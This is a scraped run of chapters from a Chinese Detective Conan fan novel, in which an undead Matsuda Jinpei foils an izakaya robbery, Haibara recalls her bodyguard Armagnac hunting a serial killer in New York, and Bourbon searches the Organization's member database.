伊达航转过头,认真地看着身边的‘神奈信利’惨白的脸色,有些沉重地微微皱起了眉。 松田阵平瞥了他一眼,又说道,“吃生肉是因为血红蛋白对我的身体比较好,其实我还挺健康的。” 伊达航露出了不赞成的目光。 【你这话根本前后矛盾。】 [我又不擅长演戏。] 三个小孩你看看我,我看看你,挤挤挨挨地凑到松田阵平的凳子边,低头说道:“这位大哥哥,对不起。”< 12.大哥的责任与阿美尼亚克 《不死者松田的二周目奋斗生涯》全本免费阅读 整个居酒屋像是按下了静音键一样,安静地不像话。 劫匪老大后面的小弟抖着嘴唇,嘴巴张开合上好几次,才结结巴巴地说,“老,老大,健次是不是,是不是要搞出人命了。” 健次,那个用枪托砸了松田的劫匪,迟钝地反驳,“我,我根本没用那么大的力气啊!” “笨蛋快闭嘴!”最后一个劫匪慌张地说。 而他们讨论的对象,理论上现在应该已经疼到昏厥的受害者,顶着塌了半扇的胸腔骨,平静地看着自己的胸膛,叹了他今天晚上的第五口气,然后抬头看向劫匪老大。 拿着伯|莱塔的老大居然就被吓了一跳。 松田转而看向了伊达航和高木涉,伊达航的看着松田的胸腔再次露出不赞同的神色,松田肯定地点点头。 “喂,你们在干什么!”老大发现了这桩眼神官司,连忙大声地喝止。 下一秒,一直抓着他的手臂的松田暴起,几乎是一瞬间就把老大双手反扣压在了膝盖底下。 而在几乎同时,伊达航和高木涉也冲了出去,抓住最近的两个劫匪,摔在地上缴了械。 “不许动。”松田抓起刚刚还握在老大手里的手枪,指向最后还站着的那个劫匪说道。 “你,你,你别嚣张,”劫匪拿着雷|明顿,眼珠乱颤,一会儿看看松田的胸骨,一会儿又看看他的枪口,大喊,“我,我手里可是有霰|弹枪的,一枪就可以把你打烂!” 松田忽然笑了,举着手枪的手动都不动一下,“哦?那要试试吗?” “试试看是你先把我打烂,还是我的子弹先穿过你的眉心。” 劫匪更加动摇,忽然,他大喊道:“大哥!都到这种时候了,你还要袖手旁观吗?” 伊达航、高木涉和松田三人心里一惊。 不可能!他们都已经观察遍了!怎么可能还有同伙? 柯南抓住了桌面上的花瓶,眼神一扫,随后犀利地盯住了吧台后面。 半晌,吧台后面的老板开口了,“你们这些小子,自说自话地来到我这里闹事,搞砸了之后,却不打算负起责任来吗?” 诶?这是什么意思? “您来讲负责也太不讲道理了吧!难道不是您自顾自地说要金盆洗手,就离开组里的兄弟,跑来这里浪费人生吗?!”劫匪大声地说。 松田看着眼前的一幕眨了眨眼,[感觉好像突然之间误入了什么奇怪的片场。] 【这是日本黑|帮吗?】 [啊,至少解答了为什么这帮人拿着这种水平的枪械却来抢劫居酒屋的问题。] 【是想要逼老板回归道上的生活呢。】 “熊次郎,别闹了,我在为我的人生负起责任来,你们这个样子才是在浪费自己的人生。”老板严肃地说。 “住口!大哥,我们曾经是多么仰慕您!难道现在您要背叛我们的义气吗?!”熊次郎大喊着,语气里甚至带了哭腔。 “这就是我最后悔的事!”老板的声音也大了起来,“你们还是少年的时候,我沉浸在刚刚当上小头目的优越感里沾沾自喜,跟还是少年的你们灌输什么义气、热血之类的混账话,直到,直到……” 老板的声音哽咽住,“直到年纪最小的次郎那家伙,炫耀一样地向我展示他被切掉的手指!你知道那一刻我是多么的抱歉啊!你们仰慕我做什么?我是引你们走向歧路的混蛋啊!” “你在说什么啊?”熊次郎已经哭了出来。 然后突然,熊次郎就被人从后面狠狠地摁倒在了地上。 “非常感人,但是抱歉,我以抢劫未遂的名义将你逮捕了。”死死摁着他的佐藤如是说。 门外,警车呼啸而来。 “不好意思,”柯南可可爱爱地举着他的电话小挂坠冒出头来,对着情绪卡住的老板说道,“我刚刚偷偷报警了。” 伊达航掏出手铐把手底下的劫匪拷住,然后把他从地上拉起来,交给了前来接手的警员。 站起来的时候,伊达航对呆立的老板说,“他们说得也没错,你也很不负责任,既然你自认为是他们的大哥,难道不就应该对他们关照到底吗?更何况他们是因为你才走上歧路的,怎么可以就把他们扔在那里自己跑掉了呢?” 伊达航不再看他,直视前方继续说,“如果意识到自己的兄弟走上歧路,就要搞明白发生了什么,然后努力让他回到光明的道路上,如果兄弟看起来过得不好,就要努力帮他过上更好的生活,这才是大哥要做的事吧。” 老板抬头看着伊达航认真的脸,终于流着泪狠狠地点了点头。 然后,伊达航径直离开去找了松田。 松田已经把手里的劫匪和枪支都交给了其他警员,自己一个人站在原地。 “你还好吗?救护车很快就来。”伊达航开口道。 “啊?不用,我之前已经叫了人接我,直接送我去医院。”松田阵平没所谓地说道。 伊达航皱起了眉,“你需要急救。” “我不需要,”松田阵平下意识地回答,随后反应过来说道,“警官你别担心,没有很严重的,其实我只是骨质疏松。” 【他好像生气了。】 “还有点缺乏维生素D。”松田连忙补充。 【他更生气了。】 “好吧,其实是我年龄大了,别看我这样,我已经七十三岁了。”松田最后一次补救道。 【你能看见吗?他气得快冒黑烟了。】 [那我总不能跟他说,‘你别担心了,其实你知道我死了’吧。] 【快闭上你那张嘴吧。】 伊达航沉默地看着松田阵平苍白的脸,忽然伸手摁在了松田的左胸上,单薄的肌肉层下骨骼的断裂异位的触感非常清晰,而且是整扇肋骨的断折。 “你都不疼吗?”伊达航看着松田阵平的眼睛,认真地问道。 松田阵平沉默了片刻,狼狈地偏过头去避开了和伊达航的对视。 “其实还好。” 忽然沉默被松田阵平手中的手机振动打破,松田深吸了一口气说道,“接我的人来了,我该走了。” 伊达航反手扣住了松田阵平的胳膊,问道,“你到哪儿去?你现在该去医院!” “我就是要去医院。”松田阵平说完,手用力挣脱,飞也似的逃离了居酒屋。 伊达航向门口看去,一辆黑色的马自达快速停在了居酒屋门口,松田阵平飞速钻了进去,车子立刻就开走了。 伊达航沉默了一会儿,看向自己的手掌,刚才隔着T恤触摸到的骨骼断裂感觉很清晰,那是非常整齐的断口,根本不是被打断的,是被剪开了之后还没有完全愈合的截断伤。 心肺手术吗? 伊达航叹了他今天晚上的第一口气,掏出手机,拨打了一个号码,过了一会儿接通了。 “喂,萩原吗?我见到松田了。” 那边传来了一声巨大的撞击倒地声,还有丁零当啷的杂物翻倒的声音,很快,杂音都停止了,萩原的声音重新出现在电话里。 “他在哪里?” ============================================================== 回去的路上,柯南和灰原哀走在阿笠博士的后面,柯南颇有些无语地把手抱在后脑,往前踢踢踏踏地走。 与组织的代号成员再会面,还被他发现了灰原,不晓得对方有没有认出灰原就是雪莉。明明是很紧张的局面,结果就因为对方被劫匪打断了肋骨不了了之,听起来简直和开玩笑一样啊。 路上,灰原一直低着头不说话,柯南瞄了她一眼,说道,“你别太紧张,那个人也不一定就能认出你。” 灰原点了点头。 深夜,一个身影从客厅打开了阿笠博士的门,就要向外走,她的身后突然传来了脚步声。 13.美国往事(一) 《不死者松田的二周目奋斗生涯》全本免费阅读 月光下,阿笠博士家的客厅里,柯南和小哀在沙发上对坐。 灰原哀手里捧着一杯热茶回忆道,“我是13岁那年见到阿美尼亚克的,也就是五年前……” 那一年冬天,美国的以猎杀天才少年为目标的连环杀人案闹得沸沸扬扬,宫野志保作为榜上有名的天才少女,组织给她下了死命令,三天不允许她出门,第四天早上,她得到了出门许可,一推开门,门板就打在了一个人的后背上。 一个穿着黑西装的卷毛男人盘腿坐在她家门口的水泥台阶上,背靠着她家的大门睡着了。 男人消瘦,苍白,像刚死了一天一样,这不是在说笑话,男人后脖颈还有一些浅紫色的尸斑,如果不是他被打了一下睡醒了,抬起了头,那么宫野志保的下一个动作就是拿起电话直拨热线911。 “哟,大小姐,会说日语吗?”男人把他戴墨镜的脸仰起来看向她,宫野志保的第一反应是,哪儿来的日本黑|帮。 男人不等她回话,就手脚有些僵硬地站起身来,面向她,“初次见面,阿美尼亚克,你的保镖。” 宫野志保没有什么反应,事实上,她作为研究所的明日之星,在组织的待遇规格一向很高,有保姆,有司机和专车,他们对她的态度毫无温情可言,他们会时时刻刻把她的消息报告给组织,并且对她的日常生活和社交横加干涉,她对这些司空见惯,她对他们也没有好脸色。 所以她说:“组织把一个死人派来做什么,研究所居然会放你出来。” 男人两手一摊:“可能因为组织目前活人资源有限,我就只能尸位素餐了。” ============================================================================= “等一下,死人?”柯南打断了灰原哀的叙述。 “啊拉,大侦探出入了那么多凶杀案现场,居然都没有察觉到吗?”灰原哀挑挑眉。 柯南立刻下意识地回忆起他对阿美尼亚克的印象,脖子上的致命伤、对于活人来说过于苍白的肤色以及痛感的缺失。 “就算这样,怎么能判定他是、是……”柯南陷入了大混乱,无论如何,一个能说能笑、会跑会跳的死人已经过于挑战他的世界观和知识结构了。 灰原哀叹了一口气,“因为他现在的状态要比五年前好很多。” “如果你是在五年前见到他,你也会和我一样,毫不犹豫地判断出,他已经是一个死人的事实。” “这就是组织最核心的研究能达到的地步。” ============================================================================= 当年的宫野志保没有那么多感慨,或许她面前的的确是一个组织造就的生物学奇迹,但是,对于一个才12岁的少女来说,这一切在短期内还没什么关系。 所以她只是抬抬下巴,吩咐道,“我今天约了和导师见面,你来开车。” 阿美尼亚克看着自己的手掌,在空气中抓握了两下,才笑着说道,“没问题。” 宫野志保看着他的动作警告道,“如果你有尸僵的问题……” “不用担心,我现在处于自溶的阶段,是很柔软的。”阿美尼亚克灵活地动了动手指给她看。 宫野志保感到可疑地眯起了眼睛,“你不会产生什么气体吧。” 阿美尼亚克被噎了一下,说道,“我觉得你可以相信组织的神奇科技,他们的初衷应该不是就那么简单地制造一具普通的尸体,虽然真的很像,但他们用枪就可以。” 宫野志保还是瞪着他。 阿美尼亚克叹了一口气,诚实地说道,“我的体内还是有一点循环的,内脏也还有一些功能,你放心吧。” 宫野志保看了他一会儿,回身进屋子里拿了要和导师探讨的学术资料,再返回来的时候把车钥匙和一条毛围巾扔在了阿美尼亚克手里。 “把自己可疑的地方围起来,别把我导师吓到,我也不想在美国的生物研究所见到你。” 阿美尼亚克非常干脆地点了点头,按下了车钥匙,“那走吧,大小姐。” 两人一起向车的方向走,阿美尼亚克边走边说,“你倒是胆子挺大的,发现了我的情况居然还没被吓哭。” 宫野志保面无表情,“需要提醒你吗?我现在攻读的学位是医学的硕士研究生,我剖过的尸体都不知道多少具了,彻底死掉的我都不怕,能说话的还能吓到我吗?” 阿美尼亚克挑挑眉,忽然神色不明地说,“那还真不错,是个研究所的好苗子,说不定你以后还有机会剖我呢。” “别开玩笑了,我要接的是我父母的研究项目,那是个真正伟大的研究,跟活人实验可没有关系。”宫野志保皱着眉说。 阿美尼亚克好像突然高兴了起来,笑着说,“不错嘛,不过严格来说,我也不算是活人实验。” “闭嘴。” ========================================================= “你的项目,就是……”柯南开口打断。 “APTX-4869.”灰原哀接道,“原项目名称为‘银色子弹’,组织核心的三大研究线之一,是从我父母那时起就开展的一项研究,但我的父母因为意外死去的太早了,组织把一切的希望都寄托在我身上。” “就是这个毒药吗?”柯南沉吟道。 “APTX-4869是,但银色子弹不是,”灰原哀摇摇头说道,“银色子弹是可以和阿美尼亚克的研究媲美的,可以称作奇迹的研究。” 柯南思索了一会儿,才不可置信地开口道,“喂,灰原,你该不会要告诉我,我们现在的这个形态,就是你父母想要研究出来的成果吧?” 灰原哀看着小胳膊小腿的侦探,挑了挑眉。 “有可能呢。” ======================================================= 宫野志保和导师约在了大学的咖啡厅见面,她现在的导师是个戴着眼镜非常儒雅的非裔教授,名叫卡列特维·姆门贝。 阿美尼亚克对他点点头假托自己是宫野志保的表哥,算是打了招呼,然后扫视了一圈店内的所有角落,就非常自觉地坐到了窗边的另一张桌子上打哈欠,等两个人完成仿 14.纽约往事(二) 《不死者松田的二周目奋斗生涯》全本免费阅读 “我一直很好奇,为什么我就非得把那段时间事无巨细地都告诉你不可?我直接和你说我总结的结论不可以吗?”灰原哀双手抱臂问道。 “我们现在要面对的情况是,阿美尼亚克随时会来把你带回组织,你的记忆里有可能会有你没察觉到,但是我们有可能会用得上的细节,快说吧,别磨蹭了。”柯南说道。 “总之,之后又过了一周……” ===================================== 期间阿美尼亚克一直担任宫野志保的保镖兼司机,报道中又发现了一具天才少年的尸体,发现地是游乐园。 “你看,你错过了,现在你要是想去游乐园,我大概就不会同意了。”阿美尼亚克得知此事后对宫野志保如是说。 “我没那么幼稚。”宫野志保回道。 电视报道中还在长篇累牍地回顾之前这位连环杀手的受害者和他们的发现地点。 阿美尼亚克看了一会儿说道,“这不是很明显吗?” “什么?”宫野志保问。 “你看,第一个受害者发现尸体的地方在公园,第二个受害者被抛尸在海洋馆,第三个死在了动物园,现在又有一个孩子在游乐园,”阿美尼亚克对着电视扬扬下巴,“都是这个年纪的孩子应该会喜欢去的地方。” “所以呢?” “所以凶手对他们抱有很深的同情或者愧疚,”阿美尼亚克说完开始自问自答,“为什么?他为了杀死他们感到抱歉?不,如果是这样他就不会杀死他们……所以是为什么?” 阿美尼亚克沉吟了一会儿,说道,“因为凶手对他们产生了共情。” “受害者都是自小颇有名气的天才儿童,寄托着众人的厚望,几乎各个都是跳级生,每天都有着繁重的学业,上面说过的那些地方,受害者们大概都是不常去的……所以凶手才会把他们放在那里,作为给他们的补偿。” “或者说,凶手杀死他们是出于对他们的怜悯,如果我是美国警察的话,我现在就会立刻清查这些受害者身边出现过的,曾经是天才少年,或者亲友是天才少年的家伙,”阿美尼亚克摸着自己的下巴说,“结果凶手从俄亥俄州一路北上杀到纽约,FBI行不行啊?” 宫野志保神色微妙地看着他,“你生前该不会是个侦探吧?” “谁知道呢?”阿美尼亚克把手插回兜里,“我喜欢你跟我说话的态度。” “什么?”宫野志保一愣。 “你是第一个以‘承认我是一个死人’为前提和我对话的人。”阿美尼亚克侧过头来看着她。 “哦?我也是第一次听说有这种喜好。”宫野志保面无表情地说。 “我不是在和你开玩笑的,”阿美尼亚克摊开手,“这个也好,那个也好,明明自己也推动了我的死亡,结果全部都在假装我活着,不光自己要假装,还要我也得陪他们假装,但是你想,一个人如果连走马灯都跑过两次的话,怎么能算是活人啊。” 宫野志保眨眨眼,说道,“一般的死人也不会跑两次走马灯的。” “我都在跟你说话,我当然不算一般的死人了。” 阿美尼亚克说完,忽然闭上了一只眼睛,偏过脑袋,过了一会儿才回过来,“又生气了。” “什么?”宫野志保不明所以。 “我不是说你,总之,这么看,大小姐你还挺危险的,我们要小心了。”阿美尼亚克留下意义不明地一句话之后,生硬地转移了话题。 虽然医学硕士研究生的课业没有本科那么繁重,但是正常的上课还是要去的,自从阿美尼亚克来了之后,接送她上课就是他的工作。 不仅如此,他还会堂而皇之地戴着他的墨镜和围巾,坐在她的教室里,然后用凶恶的气势吓退所有觉得他可疑的目光。 “志保,那是你的朋友吗?”药理学课程上课前,一个金色头发的青年问她。 “啊,麦克,你回来了啊,”宫野志保点点头跟他打了个招呼,然后说,“不算,他是家里的大人找来照顾我几天的,你知道的,最近的事。” 金发青年麦克表情有些不快地看了一眼阿美尼亚克,“你家把你抛在美国不管的大人,就会找这些走狗来看着你。” 宫野志保皱起眉,“麦克,你说这些干什么?” 麦克住了口,卡列特维老师走上了讲台,开始上课,麦克坐在了讲台旁边的小桌子上,帮卡列特维放课件。 麦克是这节课的助教。 下课后,宫野志保和其他几个同学又稍稍留了一会儿,讨论了几个问题,她往阿美尼亚克的方向看过去,发现阿美尼亚克去找了她的老师,好像还交换了名片。 宫野志保把眼神收回来的时候,忽然发现,麦克居然也在看着阿美尼亚克。 回去的路上,宫野志保坐在车上看了看阿美尼亚克,和他同时开了口。 “你找教授做什么?” “那个金色头发的是什么人?” 接下来两个人谁都不说话了,都在等对方先回答,车子驶过了三个红绿灯,车子里一直一言不发。 终于,宫野志保难以置信地开口道,“和我一个12岁的小姑娘较这种劲,你是小孩子吗?” “哦,原来你知道你是小孩子啊,”阿美尼亚克目不斜视地开着车说道,“说吧,你那个同学是什么人?” 宫野志保一阵气闷,最终还是不情不愿地说,“他是麦克。” “所以他是什么人?” “我怎么知道,他只是我的助教,又不是我的爸爸。”宫野志保回击道。 “当助教,应该是博士了吧,但是我感觉他好像还比教室里别的学生看起来小一些,不包括你。” 宫野志保迟疑了一下,说道,“我和别的同学没什么日常的交流,只是大概知道他好像也是什么……天才。” 宫野志保突然抬头,看向阿美尼亚克,“你怀疑他?” “一种直觉,”阿美尼亚克挑挑眉,“这段时间他一直在纽约吗?” “不在,”宫野志保下意识摇摇头,“卡列特维教授让他替教授去……俄亥俄州开个学术会议。” “天才,很关心你,之前出差去了俄亥俄州,”阿美尼亚克一项一项地列出来,“凶手从俄亥俄一路杀到了纽约。” “也不能百分百确定就是他吧。”宫野志保说。 “当然,”阿美尼亚克挑了挑眉,“无所谓,他动手,我就会动手。” 宫野志保不知道他是怎么做到把这样一句话说得毫无杀气的。 然而,下一秒,一辆面包车忽然冲出来,向他们开的这辆车撞去,短时间内根本来不及反应, 15.纽约往事(三) 《不死者松田的二周目奋斗生涯》全本免费阅读 阿美尼亚克动作麻利地处理着现场,他从车里翻出医药箱,掏出绷带。 “你受伤了吗?”阿美尼亚克问宫野志保。 宫野志保摇了摇头,阿美尼亚克点点头,把一整个食指粗的绷带卷直接塞进了自己心口正在流血的洞里。 随后他把车牌扯了下来,拿出了两个纽扣一样的东西,一个放在他们刚才开的车上,一个放在承载着麦克的面包车上。 然后他仔细地收拾了地面上自己留下的血迹,最后他对宫野志保说,“大小姐,我们可能得走回家了。” “好在我们离得也不远了。”他补充道。 宫野志保踢了踢脚底下的玻璃渣,问道,“然后你的保镖任务就结束了吗?” 阿美尼亚克愣了一下笑了起来,“还没有,我还没有接到任务终止的命令。” 他用那覆盖了一层白翳的眼睛看向她说,“大小姐有什么想去的地方吗?” 宫野志保的嘴唇抿住了很久,才说,“你这个样子去哪儿都很奇怪吧。” “那就麻烦你临时给我处理一下嘛,你不是临床医学的天才吗?” 半个小时后,肩膀和胳膊勉强复位的阿美尼亚克从地上爬起来,把他有着细密划伤的手伸到了宫野志保面前。 宫野志保把医药箱整理好,拎在手里,迟疑了一下,拉起了阿美尼亚克的手,她还从来没有牵过这么冰凉的一只手。 阿美尼亚克牵着宫野志保摇摇晃晃地走,一边走一边和她说,“不过我们还是要先回一趟家,去开另外一辆车,你住的太偏了,不开车哪里也去不了嘛。” 宫野志保沉默地牵着他,一大一小从偏僻的公路向更偏僻的住处走,转过一个拐弯,忽然,一声巨大的爆破声从身后传来。 宫野志保抬头看向阿美尼亚克,只看见他顿了一下之后,继续牵着她继续走。 “如果就那样留着,让人查出什么来就不好了,虽然FBI也就那样。” 宫野志保低头想了想,问他,“这是你第一次杀人吗?” 阿美尼亚克很诚实地回答,“不算是。” “你不是说,这是你转到行动组的第一个任务吗?”宫野志保问。 “我不是也说了,我在武器研发部研发了些会把几千里外的管他什么人种的不知道是谁的小孩炸飞的武器吗。”阿美尼亚克平静地说。 “那也能算是你杀的人吗?” “那怎么不算呢?”阿美尼亚克说,“与其这样伪善地堵着耳朵假装自己没有杀人,不如就亲眼看着自己实打实地把子弹送进被害者的脑子里,我的存在已经够模糊的了,实在不想连自己杀了谁这种事上也搞得含糊不清。” “这是你转到行动组的原因吗?” 阿美尼亚克没说话,只是耸了耸肩,宫野志保发誓,他的肩胛骨肯定又变形了。 一个小时后,阿美尼亚克脑袋上缠着绷带,肩膀重新固定,换了一套黑西装戴上了新墨镜,心脏里依然堵着绷带卷,开着一辆新车,载着副驾驶上的宫野志保,一脚油门上路了。 “你确定你要去游乐园?”阿美尼亚克把车的速度开得飞快,大声地问道。 宫野志保抓着安全带,大喊道,“你开慢一点!” “不行啊!大小姐!我们赶时间!鬼知道什么时候我任务就结束了呢!”阿美尼亚克一边加速,一边咧开嘴笑道。 “你骨头一定又歪了!”宫野志保大喊。 “管他呢!”阿美尼亚克喊了回去。 宫野志保在颠簸中看向阿美尼亚克白蒙蒙的眼睛,突然很想知道他眼睛的真实颜色。 可能是因为工作日的缘故,皇后区的大游乐园没什么人,花里胡哨的大门口,脑袋缠着绷带的黑西装怪人牵着个小女孩,两个人的头发都有点凌乱。 宫野志保平复了一下心跳,才开口道,“你该不会是车祸死的吧?” 阿美尼亚克摇摇头,“可没包括这个死法。” 宫野志保无语了一瞬,“你到底有几个死法?” “好了,别管这些了,你想玩什么?要不要我先帮你买了旋转木马的门票?”阿美尼亚克亲切地说。 宫野志保吓得起了一层鸡皮疙瘩,大声说,“不要,你正常点。” 阿美尼亚克挑挑眉,把钱递给宫野志保,“那你去买门票和你喜欢的项目吧。” 那一天,宫野志保拖着阿美尼亚克在游乐园玩了很久,海盗船、过山车,甚至鬼屋,鬼屋的工作人员看见阿美尼亚克转身就走。 最后宫野志保累得瘫在了游乐园的长椅上,阿美尼亚克在她旁边坐着,戴着个墨镜,像个规规矩矩的小瞎子。 “你这个时候倒不怕我散架了。”阿美尼亚克慢吞吞地说。 “你自己明明也玩得很开心。”宫野志保指着阿美尼亚克说。 这家伙在过山车上的时候,笑得比谁都大声,而且她看见了,他是故意去吓鬼屋的工作人员的。 阿美尼亚克也没否认,勾起嘴角笑了起来,“那你玩得开心吗?” 宫野志保的脸还是红扑扑的,眼睛也亮晶晶的,她点点头,矜持地说道,“还可以吧。” 阿美尼亚克笑出声了,随后他偷偷摸摸地俯下身,压低了声音说道,“那我告诉你一个秘密。” 宫野志保狐疑地看着他,稍微坐正了身体,竖起耳朵,不知道阿美尼亚克要告诉自己什么。 阿美尼亚克笑了笑,说,“其实这是我死之后,第一次走出基地。” 宫野志保转过头看着他,眼睛越睁越大,她回忆起这一周以来阿美尼亚克几次三番的撺掇,大声道, “所以根本就是你自己想玩!” 阿美尼亚克得意地扬了扬眉毛,“我成功了。” 宫野志保看着他的模样,几次想装生气,终于还是笑了出来,看着她笑,阿美尼亚克也笑了起来。 一大一小傻兮兮地对着笑了一会儿,宫野志保说,“也许你真的还活着也说不定。” 阿美尼亚克把笑容收了起来说道,“我好不容易碰见了一个我喜欢的对话方式,结果你现在又这样。” “我说话又不是为了让你喜欢的。”宫野志保回击道。 宫野志保想了想又说,“如果你真的希望的话,我长大以后可以试着争取一下去剖你。” “免了,”阿美尼亚克面无表情地说,“你还是比较适合拿着针管和小白鼠玩。” “还要再玩一会儿吗?还是回家?”阿美尼亚克问道。 宫野志保坐在长椅上踢了踢鞋子,沉默了一会儿说,“回家吧。” “不再玩一会儿吗?我以后不一定还会负责你了哦。” “不了,其实我也没有很喜欢游乐园,现在知道这里大概是怎么一回事了就可以了。” “好吧,”阿美尼亚克起身,把手伸向宫野志保,“那我们就走吧。” 宫野志保点点头,再次拉上那只冰凉的手。 “阿美尼亚克。”宫野志保忽然说。 “嗯?怎么了?”阿美尼亚克牵着她向前走,漫不经心地回应道。 “其实你比活人好多了……除了姐姐吧。”宫野志保看着脚前方那一小块移动的路面说道。 “可不能做这种比较,”阿美尼亚克墨镜后的眼睛还是那么平静,“一不小心出生在这里,只是你运气不太好而已,你还活着,以后的生命还很长,你会经历很多变化的。” “你会慢慢长高,会想很多多余的事情,见些大世面,还有更多的活人,你就会发现,除了那些坏的活人以外,你还多少能碰见些好的活人,莫名其妙地他们就在你身边了,你就会因为他们哭,因为他们笑,因为他们多出很多没有的想法。” “你会一直变来变去的,直到你来到我那里的那一天。” “在那之前,可不能断定什么。”阿美尼亚克平静地说。 宫野志保静静地听着,直到走到了停车场,上了车, 16.萩原研二的雨水与火焰 《不死者松田的二周目奋斗生涯》全本免费阅读 凌晨两点,伊达航和萩原研二在萩原的家里碰面了。 “他怎么样?”一见到伊达航,萩原便开口问道。 伊达航看着眼前萩原的样子,他好像好几天没睡好了,眼下有着淡淡的青色。 伊达航叹了一口气说,“不太好。” 萩原了然地点头,没说什么,引着伊达航进屋里坐下。 伊达航熟门熟路地坐到了茶几边的沙发上,看着萩原研二。 萩原研二这个人很神奇,也许每个人一生中都见过一两个这样的人,他们身边会有一种很奇异的氛围,可以轻易地感染在他身边的所有人。现在萩原研二什么也没说,伊达航却感觉到他身上弥漫开来了一种像是下雨天一样的湿漉漉的悲伤。 这种悲伤催促着伊达航再多说些什么,即使这可能会让对方更悲伤。 “松田可能得了比较重的病。” 萩原研二猛地抬头看向伊达航。 “脸色很苍白,体温也很低……非常低,身形消瘦,可能刚刚做过心肺手术。”伊达航说着自己刚刚得出的结论。 “心肺……手术?”萩原研二缓慢地重复着伊达航的话。 伊达航犹豫了一下,说道,“我们刚刚在一家居酒屋偶然碰见,那家居酒屋被人抢劫了,松田他上去组织劫匪的时候,被人在肋骨处重击了一下,同侧大概有七八根骨头全部被打断,我用手检查了一下,能感觉到断面非常整齐,应该是做手术的时候被剪断了,还没长好,就又被打断了。” 萩原在伊达航说到‘七八根骨头被打断’的时候就坐不住了,伊达航话音刚落,萩原就站起身来焦急地说道, “他现在在哪家医院?一个人吗?” 这下伊达航就觉得自己很难讲接下来的话了,而且本来也很难讲,但难不难讲都得讲,他只能说,“他走了。” 萩原似乎觉得自己没听清,于是侧过耳朵示意伊达航再说一遍。 “他叫了一辆车来接他,说会送他去医院,然后就走了。” “班长,你说他,断了七八根骨头,然后自己叫了一辆车,走了。”萩原向伊达航确认道。 雨水变成了火焰。 这是怎么能走的?你怎么居然就让他走了? 萩原没说,但是伊达航猜测他心里大概在回荡着这些问题。 “松田很坚持,而且车一来很快就跑掉了,我没能控制住他。”伊达航说道。 “跑?”萩原难以理解地重复了一下这个动词。 无论是谁,被打断七八根肋骨也都只有平躺在地上等急救的份儿,能走已经是铁血硬汉了,更不用说跑得很快了。 “啊……”伊达航顿了一下,才说道,“我怀疑松田他,没有痛觉。” 萩原的手陡然握成了拳。 “我能看出来他没有忍,”伊达航继续说,“整个胸腔都肉眼可见有骨骼异位和塌陷,但是他没有任何感觉,他甚至还制服了一个劫匪。” 萩原听着伊达航的叙述,缓慢地眨了眨眼睛。 啊,这哪里是不太好啊……这是很不好,这是糟透了! 小阵平在离开萩原研二的七年里,过得糟透了! 生了病,动了大手术,还失去了痛觉,这过的是什么日子? 这些事情发生在小阵平身上,萩原研二连想象一下都觉得难以接受,然而这些事居然真实地发生了?! 不可置信,不可置信! 伊达航看着萩原研二瞪着眼睛站在原地,像火焰一样的焦灼的氛围汹涌起来,但是萩原研二只能一动不动。 伊达航理解那种感受,想要挥拳却根本找不到目标,只能喘着粗气茫然地在原地站着。 很多人都说,萩原研二终于接受松田阵平已经死了,但是伊达航知道,萩原研二从来没有接受过。 他看起来一切照常,但其实一门心思地凭着直觉就敢相信,松田阵平还活在这个世界上的某个地方,只是不得不在那场爆炸中销声匿迹,哪怕已经在特别机动队一路升上警部补的职位,也依然不知疲倦地不停向搜查一课提交转职申请,然后□□脆地回绝。 伊达航是做刑警的,他太了解了,最折磨受害者亲属的,不是受害者的死亡,而是受害者的失踪。从失踪的那一刻起,此后多年,他们都会一刻不停地去想,他们的亲友到底去哪儿了,遭受了什么,过得好不好,还活着吗?还是死了?死在哪里了?我在吃下这一口饭的这一刻,他会不会在流血呢? 比起固执地相信对方还活着,不如相信对方已经死了更能放过自己。 萩原研二选择不放过自己,他不仅不放过自己,还在几次醉酒后的大哭中,让伊达航也有点相信了起来。 看着萩原研二站在原地,艰难地让自己冷静下来,伊达航想了想,还是说了一句迟到的话, “萩原,你是对的,松田确实活着。” 然后他看见萩原研二的脸上露出了一个又想哭又想笑的复杂表情。 “啊,他还活着。” 萩原研二平复了心情,雨气和火焰都收敛了,重新坐在了沙发上和伊达航交流情报。 “我问了高木,他们第一次见面是在一桩飞机洗手间毒杀案中,松田作为嫌疑人帮忙破解了案件,那架飞机是从英国伦敦飞抵东京的,松田之前应该在国外,不清楚中间有没有回过日本。” 伊达航把一沓复印纸从怀里掏出来,放在了茶几上。 “这是当时那起案件卷宗的复印件,我刚刚去了一趟警视厅拿出来的。” 萩原拿起复印件,翻看了起来。 伊达航继续说,“里面提到松田现在化名‘神奈信利’,在一家名为米花Drunk的爆破拆除有限公司担任高级技术顾问,但这次遇见松田,他自己又说这是他找的私活,他本人是一家修理铺的老板,无论如何,我们可以查一下这个公司。” “这起案件还有一点比较可疑,凶手之一的中 17.黑、银、绿杠和最重要的实验体 《不死者松田的二周目奋斗生涯》全本免费阅读 凌晨的公寓里,波本的电脑在一片漆黑的房间里幽幽地亮着光,照着波本的脸。 电脑的usb插孔上插着一个秘钥,这是组织人员数据库的key,只有少数组织成员才能掌握,波本就是其中之一。 而今天,波本得到通知,他的权限上升了。 因为那位先生亲自指定,由他来调查野泉贵志的叛逃事件。 朗姆得知此事很高兴,打电话来叮嘱他一定要借此机会深入研究所的内部,把研究所的情报给挖出来。 对于朗姆要他当钉子这件事,波本乐意至极,但这让波本产生了一种讽刺的感觉。 朗姆,贵为组织情报组的老大,结果对研究所的情报知之甚少,甚至还要倚靠他这个才进入组织七年的属下去‘挖情报’。 波本的脑中隐隐有了这样一个大致的图像,组织中大概有这三个重要的组成部分,其中行动组和情报组彼此支持又互相牵制,而研究所就那样超然物外地高居台上,保持这自己神秘的面纱,看似是一个纯学术机构,然而剩下的两个组对它却水泼不进。 波本打开数据库,只有一个简单的检索栏出现在屏幕上。 数据库的机制是这样的,你只有在知道要检索的成员的代号,并且有足够级别的权限时,才会弹出一个窗口,显示这位成员的情报,而且不可复制,不可下载。 波本刚拿到代号,领到这个key的时候,还指望着它像维基百科一样,一打开就能一个串一个把他们全查出来,或者干脆就像什么公司官方网站一样,一打开,上面一堆部门名称,点进情报组,上面就开始罗列:朗姆、库拉索、宾加、波本……然后配上每个人的大头照和个人简历。 年轻人就是想得美。 波本喝了一口冰水,在键盘上敲下他这次的任务的主要人物: 野泉贵志。 窗口弹出,情报密密麻麻地浮现了出来。 窗口右侧是野泉贵志的照片,左侧的文字则是野泉贵志进入组织后的经历,嗯嗯,原来他那一次的项目竞争组织居然有出手帮他啊。 波本不经意之间就吃了研究所的第一口瓜。 但是接下来的内容就不是那么轻松愉快的了,上面显示了这家伙的实验和最后的粗略结果。 